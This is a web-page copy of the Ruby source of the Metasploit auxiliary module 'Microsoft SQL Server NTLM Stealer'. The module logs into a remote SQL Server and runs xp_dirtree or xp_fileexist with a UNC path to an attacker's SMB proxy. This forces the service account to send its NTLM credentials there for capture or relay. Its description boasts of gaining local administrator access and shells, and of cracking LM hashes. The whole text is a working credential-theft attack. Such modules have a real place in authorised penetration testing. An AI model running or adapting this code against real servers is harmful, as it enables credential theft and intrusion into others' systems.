Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::Auxiliary::Scanner89def initialize(info = {})10super(update_info(info,11'Name' => 'Microsoft SQL Server NTLM Stealer',12'Description' => %q{13This module can be used to help capture or relay the LM/NTLM credentials of the14account running the remote SQL Server service. The module will use the supplied15credentials to connect to the target SQL Server instance and execute the native16"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then17force the service account to authenticate to the system defined in the SMBProxy18option. In order for the attack to be successful, the SMB capture or relay module19must be running on the system defined as the SMBProxy. The database account used20to connect to the database should only require the "PUBLIC" role to execute.21Successful execution of this attack usually results in local administrative access22to the Windows system. Specifically, this works great for relaying credentials23between two SQL Servers using a shared service account to get shells. However, if24the relay fails, then the LM hash can be reversed using the Halflm rainbow tables25and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the26inspiration.27},28'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],29'License' => MSF_LICENSE,30'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]31))3233register_options(34[35OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),36])37end3839def run_host(ip)4041# Reminder42print_status("DONT FORGET to run a SMB capture or relay module!")4344# Call auth_force method to execute "xp_dirtree"45begin46force_auth("xp_dirtree",datastore['SMBPROXY'])47return48rescue49print_error("xp_dirtree failed to initiate authentication to smbproxy.")50end5152# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails53begin54force_auth("xp_fileexist",datastore['SMBPROXY'])55return56rescue57print_error("xp_fileexist failed to initiate authentication to smbproxy.")58end5960end6162# Method to force sql server to authenticate63def force_auth(sprocedure,smbproxy)6465print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")6667# Generate random file name68rand_filename = Rex::Text.rand_text_alpha(8, bad='')6970# Setup query71sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"72result = mssql_query(sql, false) if mssql_login_datastore73column_data = result[:rows]74print_good("Successfully executed #{sprocedure} on #{rhost}")75print_good("Go check your SMB relay or capture module for goodies!")7677end78end798081